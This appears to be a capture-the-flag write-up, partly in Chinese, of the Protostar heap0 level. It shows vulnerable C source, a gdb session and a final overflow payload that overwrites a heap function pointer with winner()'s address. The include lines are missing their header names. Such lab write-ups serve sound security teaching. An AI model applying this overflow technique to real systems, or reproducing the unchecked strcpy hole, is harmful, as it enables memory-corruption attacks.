About

This level introduces heap overflows and how they can influence code flow.
This level is at /opt/protostar/bin/heap0

Source code

#include
#include
#include
#include
#include

struct data {
char name[64];
};

struct fp {
int (*fp)();
};

void winner()
{
printf("level passed\n");
}

void nowinner()
{
printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
struct data *d;
struct fp *f;

d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;

printf("data is at %p, fp is at %p\n", d, f);

strcpy(d->name, argv[1]);

f->fp();

}

艰难地来到Heap部分。。。。。。。。。

目测得知需要通过strcpy修改f-ftp()的值来达到目的，这些在Stack中遇到不少了，这里就不多说明了。

user@protostar:/opt/protostar/bin$ gdb -q ./heap0
Reading symbols from /opt/protostar/bin/heap0...done.
(gdb) b *main
Breakpoint 1 at 0x804848c: file heap0/heap0.c, line 26.
(gdb) r
Starting program: /opt/protostar/bin/heap0

Breakpoint 1, main (argc=1, argv=0xbffff864) at heap0/heap0.c:26
26            heap0/heap0.c: No such file or directory.
                in heap0/heap0.c
(gdb) p winner
$1 = {void (void)} 0x8048464

获得winner地地址是0x08048464

user@protostar:/opt/protostar/bin$ gdb -q ./heap0
Reading symbols from /opt/protostar/bin/heap0...done.
(gdb)    r `python -c 'print "a"*64+"12345678901234567890"'`
Starting program: /opt/protostar/bin/heap0 `python -c 'print "a"*64+"12345678901234567890"'`
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
0x32313039 in ?? ()

OK，修改之。
user@protostar:/opt/protostar/bin$ ./heap0    `python -c 'print "a"*64+"12345678\x64\x84\x04\x08"'`
data is at 0x804a008, fp is at 0x804a050
level passed